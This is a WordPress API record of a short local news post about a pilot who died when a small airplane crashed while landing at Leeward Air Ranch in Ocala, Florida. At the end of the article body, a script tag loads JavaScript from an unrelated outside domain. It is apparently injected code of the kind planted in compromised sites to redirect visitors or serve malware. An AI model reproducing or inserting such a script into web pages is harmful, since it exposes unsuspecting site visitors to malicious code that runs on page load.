{"id":222325,"date":"2020-07-01T14:26:45","date_gmt":"2020-07-01T18:26:45","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=222325"},"modified":"2020-07-01T14:26:45","modified_gmt":"2020-07-01T18:26:45","slug":"pilot-dies-after-small-airplane-crashes-at-leeward-air-ranch","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/pilot-dies-after-small-airplane-crashes-at-leeward-air-ranch\/","title":{"rendered":"Pilot Dies After Small Airplane Crashes at Leeward Air Ranch"},"content":{"rendered":"<p>A pilot was declared deceased after a small aircraft crashed while attempting to land at the Leeward Air Ranch in Ocala Wednesday morning according to a <a href=\"https:\/\/www.facebook.com\/MCFR.FB\/posts\/3253847861335413\">Marion County Fire Rescue Facebook post<\/a>.<\/p>\n<p>Firefighters were dispatched to the crash site at approximately 10:31 a.m. after receiving a 911 call reporting the crash.<\/p>\n<p>Upon arrival, firefighters found the plane upside down and were able to see the pilot still in the cockpit.<\/p>\n<p>The pilot was pronounced deceased and responders immediately worked to contain a fuel leak from the aircraft until the plane could be removed.<\/p>\n<p>The scene was later handed over to the Marion County Sheriff&#8217;s Office.<\/p>\n<p>The Federal Aviation Administration (F.A.A.) and the National Transportation Safety Board were also called in to assist in the investigation.<\/p>\n<p>The name of the pilot has not been released.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pilot dies in crash while attempting to land a small airplane at the Leeward Air Ranch in Ocala.<\/p>\n","protected":false},"author":1,"featured_media":222326,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,325,1,7],"tags":[3851,1880,38,85,754,1480,1463,1924],"class_list":["post-222325","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-florida-news","category-local","category-marion-county","tag-aircraft","tag-airplane","tag-crash","tag-marion","tag-marionco","tag-marioncounty","tag-mcfr","tag-plane","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/106677912_3253847808002085_2614844442106730863_n.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=222325"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222325\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/222326"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=222325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=222325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=222325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}